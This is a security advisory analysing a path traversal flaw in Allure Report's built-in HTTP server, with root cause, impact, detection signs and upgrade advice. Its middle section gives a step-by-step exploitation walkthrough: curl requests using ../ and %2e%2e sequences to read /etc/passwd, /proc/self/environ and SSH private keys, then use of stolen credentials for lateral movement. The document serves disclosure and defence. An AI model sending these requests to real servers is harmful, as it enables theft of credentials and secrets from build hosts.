CVE-2026-55846: 
Java vulnerability analysis and mitigation

CVE-2026-55846 is a path traversal vulnerability in the built-in HTTP server of Allure Report (allure-commandline), a popular test reporting framework. When allure serve or allure open is executed, the server resolves request URI paths directly against the report directory without normalizing or validating that the resolved path remains within that directory, allowing an attacker who can reach the server to read any file accessible to the Allure process. All versions up to and including 2.38.1 of io.qameta.allure:allure-commandline (Maven) are affected; version 2.39.0 contains the fix. The vulnerability was published on June 16, 2026, and carries a CVSS v3.1 base score of 6.2 (Medium) (GitHub Advisory, Allure2 Advisory).

The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). In Commands.java (line 330), the HTTP request handler constructs a file path by concatenating "." with the raw, percent-decoded URI path from exchange.getRequestURI().getPath() and resolving it against the report directory — with no subsequent call to .normalize() or a .startsWith(reportDirectory) containment check. For a request to /../../../etc/passwd, the concatenation yields ./../../../etc/passwd, which the OS resolves outside the report directory. Because URI.getPath() returns the percent-decoded path, encoded traversal sequences such as %2e%2e are also decoded to .., bypassing clients that normalize raw .. sequences. The server defaults to localhost binding, but the --host option (commonly used in CI/CD) can expose it on all interfaces (GitHub Advisory, Allure2 Advisory).

Successful exploitation allows an attacker to read any file on the host that the Allure process has permission to access, with no integrity or availability impact. In CI/CD environments — where Allure is most commonly deployed — this can expose highly sensitive artifacts including SSH private keys, cloud provider credentials, environment variables (via /proc/self/environ), API keys, configuration files, and build secrets. If the Allure process runs as root, /etc/shadow and other privileged files are also at risk, and exposed credentials could enable lateral movement to other systems or cloud environments (GitHub Advisory, Allure2 Advisory).

A public proof-of-concept is included in the official advisory, demonstrating exploitation via curl --path-as-is with ../ sequences or percent-encoded equivalents (%2e%2e). No authentication is required to exploit the vulnerability. There is no current evidence of in-the-wild exploitation, no known threat actor attribution, and the CVE status remains "Reserved" with no CISA KEV listing at this time. The EPSS score is not yet published (GitHub Advisory).

1. Identify a running Allure server: Determine whether allure serve or allure open is running and accessible, either on localhost or a network-bound interface (e.g., via --host 0.0.0.0). Common default port is 9090.
2. Confirm reachability: From the attacker's position (local user, adjacent container, or DNS rebinding context), verify the server responds: curl http://<target>:9090/.
3. Attempt direct path traversal: Send a request with ../ sequences using --path-as-is to prevent client-side normalization:

   curl --path-as-is 'http://<target>:9090/../../../etc/passwd'

4. Use percent-encoded traversal as fallback: If the client normalizes .., use encoded sequences:

   curl 'http://<target>:9090/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

5. Target sensitive files: Read high-value files accessible to the Allure process:

   curl --path-as-is 'http://<target>:9090/../../../proc/self/environ'
   curl --path-as-is 'http://<target>:9090/../../../home/user/.ssh/id_rsa'

6. Leverage exposed secrets: Use any discovered credentials, API keys, or SSH keys for lateral movement to other systems or cloud environments (GitHub Advisory, Allure2 Advisory).

• Network: HTTP GET requests to the Allure server port (default 9090) containing ../, %2e%2e, or other path traversal sequences in the URI path; requests for paths clearly outside the report directory (e.g., /etc/passwd, /proc/self/environ, /.ssh/id_rsa).
• Logs: Allure HTTP server access logs showing requests with traversal patterns such as GET /../../../etc/passwd, GET /%2e%2e/%2e%2e/etc/shadow, or similar; HTTP 200 responses to such requests indicating successful file reads.
• File System: No direct file system artifacts are created by exploitation, but unexpected outbound connections from the CI/CD host following Allure server activity may indicate credential use after exfiltration.
• Process: Unusual network connections originating from the CI/CD runner or build host shortly after allure serve or allure open is invoked (GitHub Advisory).

Upgrade io.qameta.allure:allure-commandline to version 2.39.0, which adds .normalize() and a .startsWith(reportDirectory) containment check before serving any file, returning HTTP 403 for traversal attempts. If immediate upgrade is not possible, avoid binding the Allure server to non-localhost interfaces (do not use --host 0.0.0.0) and restrict network access to the Allure server port via firewall rules or network policies. In CI/CD environments, ensure the Allure process runs with the minimum necessary file system permissions to limit the scope of any potential file read (GitHub Advisory, Allure2 Advisory).